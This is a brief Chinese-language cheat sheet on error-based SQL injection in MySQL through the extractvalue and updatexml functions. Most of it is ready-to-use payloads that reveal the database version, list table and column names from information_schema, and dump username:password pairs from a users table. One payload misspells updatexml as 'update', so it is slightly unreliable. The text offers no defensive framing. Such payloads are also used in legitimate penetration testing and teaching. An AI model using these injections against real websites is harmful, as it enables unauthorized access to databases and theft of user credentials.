SQL注入笔记-updatexml与extractvalue

0x1介绍

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数

EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);

两个函数的返回长度有限,均为32个字符长度

0x2注入

Payload:

or extractvalue(1, concat(0x7e, version())) or ''
or update(1, concat(0x7e, version()), 1) or ''

0x3提取数据:

爆表名:

or extractvalue(1, concat(0x7e, (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1))) or ''

爆字段名:

or extractvalue(1, concat(0x7e, (select concat(column_name) from information_schema.columns where table_name='users' limit 0,1))) or ''

爆数据:

or extractvalue(1, concat(0x7e, (select concat_ws(':', username, password) from users limit 0,1))) or ''

updatexml的注入方式也是一样的

你可能感兴趣的:(SQL注入笔记-updatexml与extractvalue)